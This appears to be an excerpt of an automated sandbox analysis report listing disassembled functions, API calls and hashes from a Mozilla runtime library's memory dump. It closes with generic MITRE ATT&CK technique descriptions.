Opcode Fuzzy Hash: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction Fuzzy Hash: 54517071F002298FCF08CFE9C894AAEBBB2FB85304F59462DD811A7750C7346945CB96

Function 6C5ACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5ACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5ACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5ACF4E

Strings

0, xrefs: 6C5ACF30

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction ID: 9bc5628d6ed544f5354486608e6306c92b10276516dd9477ed6ce8d75e82b65f
Opcode Fuzzy Hash: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction Fuzzy Hash: BD512171A042568FCB01CF19C890AAABBB5EF99300F19859DD8595F752D732FD06CBE0

Function 6C5E6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5E82BC,?,?), ref: 6C5E649B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E64A9

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E653F
free.MOZGLUE(?), ref: 6C5E655A

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction ID: 990e4a6c5b7bfcdbecc680458b6d647096665b742da5f0d009d51041a66f46f4
Opcode Fuzzy Hash: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction Fuzzy Hash: 003181B5A043059FC704CF14D88069EBBE4FF89314F40442EE85A97741DB34E919CB96

Function 6C5BB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BB4F5
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB502
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB542
free.MOZGLUE(?), ref: 6C5BB578

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction ID: 87d1e21dcf8f64cb89cdc75139f47cafdca46d96d00ca8120aa426b6a3e84de6
Opcode Fuzzy Hash: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction Fuzzy Hash: 5C11F030A04B00C7C3118F2AC9807A5B7B0FFD6318F10570AD84A63A02FBF4B1C18B96

Function 6C5E3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5AF20E,?), ref: 6C5E3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5AF20E,00000000,?), ref: 6C5E3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5E3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C5E3E0E

Part of subcall function 6C5DCC00: GetCurrentProcess.KERNEL32(?,?,6C5A31A7), ref: 6C5DCC0D
Part of subcall function 6C5DCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5A31A7), ref: 6C5DCC16

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction ID: 54c36f2300aacf374a4ab28a68a95182243e461c5d95669c4df6d6bd7a5cba32
Opcode Fuzzy Hash: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction Fuzzy Hash: EDF012715002087FD700AB55DC81DAB376DEB86624F050020FE0957741D739BD5596FB

Function 6C5F85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5F85D3

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5F8725

Strings

map/set<T> too long, xrefs: 6C5F8720

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction ID: 8744cc00671aabb540df735202770512f76d75cb83b376f8c0167df48dc31244
Opcode Fuzzy Hash: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction Fuzzy Hash: 94516474600641CFC705CF1AC884B5ABBF1BF5A318F18C58AD8695BB52C335E886CF92

Function 6C5ABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5ABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5ABE8F

Strings

0, xrefs: 6C5ABE5B

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction ID: e1e1b2850043cf09a21d4318144441802e4d438342b90bb6193782944b4280db
Opcode Fuzzy Hash: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction Fuzzy Hash: 8C41B171909749CFC701DFBAC881A9FBBF4AF8A348F004A1DF98597611D730D94A8B92

Function 6C5E3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5E3D6C

Strings

d, xrefs: 6C5E3D58

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction ID: b3de1599416444cc140386dc4567eb343d23b19b8ce20dcefd6d08b4140a8cc1
Opcode Fuzzy Hash: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction Fuzzy Hash: F3113431E04688D7DF018F6ECC444EDB775EFDA258F458229DC459B612EB34A984C390

Function 6C606DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C606E22
__Init_thread_footer.LIBCMT ref: 6C606E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C606E1D

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction ID: 024e4cc1d8689df441d8ceaff222fce83e046cd8f734c1fc08befb674e403705
Opcode Fuzzy Hash: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction Fuzzy Hash: 26F0FA30309380CAEB008B69CAA0EC277729742B18F040165C80186FA1CA29F987CF9F

Function 6C5B9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5B9EEF

Strings

Infinity, xrefs: 6C5B9EB7
NaN, xrefs: 6C5B9EC1

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction ID: fbaf3a5bb5981a9dc85788cc8266dce170ca99ea17aa831848620ec5fdbcdc7c
Opcode Fuzzy Hash: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction Fuzzy Hash: E5F0A970600262CAEB008F1ADE96B823BF1A35371AF600E19D5041AB80D73E7946CF8F

Function 6C5B6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C42

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C58

Strings

0K^l, xrefs: 6C5B6C33, 6C5B6C41, 6C5B6C57

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K^l
API String ID: 1967447596-3449559093
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 7730db33859605fa4891f2fc2e51ff307dea3b65e17dffbf0f658fc81488f961
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 74E026F1A103004ADB0CD8799C2A52A79C8CB352A87044A35E826F3BC8FF34F9408051

Function 6C5BBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5BBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5BBEF5

Strings

cryptbase.dll, xrefs: 6C5BBEF0

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction ID: 5a8e827c48539296f82e644b6e10bc4caaacba438bdb67aedd30e8c440003529
Opcode Fuzzy Hash: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction Fuzzy Hash: 99D0C731184208EAD740BA518D56B253B74E741755F10C421F79654961C7F5A451CF58

Function 6C5FB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB628

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5FB127,?,?,?,?,?,?,?,?), ref: 6C5FB74D

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction ID: b712c67391636e8cc1ced318c4a05d7d813e26569a77d797f07b665b612d7291
Opcode Fuzzy Hash: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction Fuzzy Hash: 6651BF71A06216CBDB18EF18CD8065EB7B5FF85304F55852DC86AAB700E731A806CFA1

Function 6C5F6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5F6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5F6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5F6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F6F5C

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction ID: fe99e3e7cc7026cdc591976d874872a8b6039d257af178db3d3df5153889b693
Opcode Fuzzy Hash: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction Fuzzy Hash: FA31C571A1060A8FEB08CF2CCD806AA73E9EB85344F504639D52AC7655EF31E65ACB91

Function 6C60B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5B0A4D), ref: 6C60B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5B0A4D), ref: 6C60B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5B0A4D), ref: 6C60B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5B0A4D), ref: 6C60B67F

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction ID: c005816eac53de3db2f64862330d05e188912859335dcd8631030355d99441d6
Opcode Fuzzy Hash: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction Fuzzy Hash: 4931D471A112168FEB14CF59C98465AFBB9FFC1304F16C569C806AB201DB31E915CBE5

Function 6C5DF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF668

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f3efbb9df7ab69244732f3331dbab488b233a8e45ecd5aa99811ab534ae9bba5
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 35314F71A00314AFC714CF5DDCC0A9F77B5EB85358B188A39FA4A8BB05D632F9448B98

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

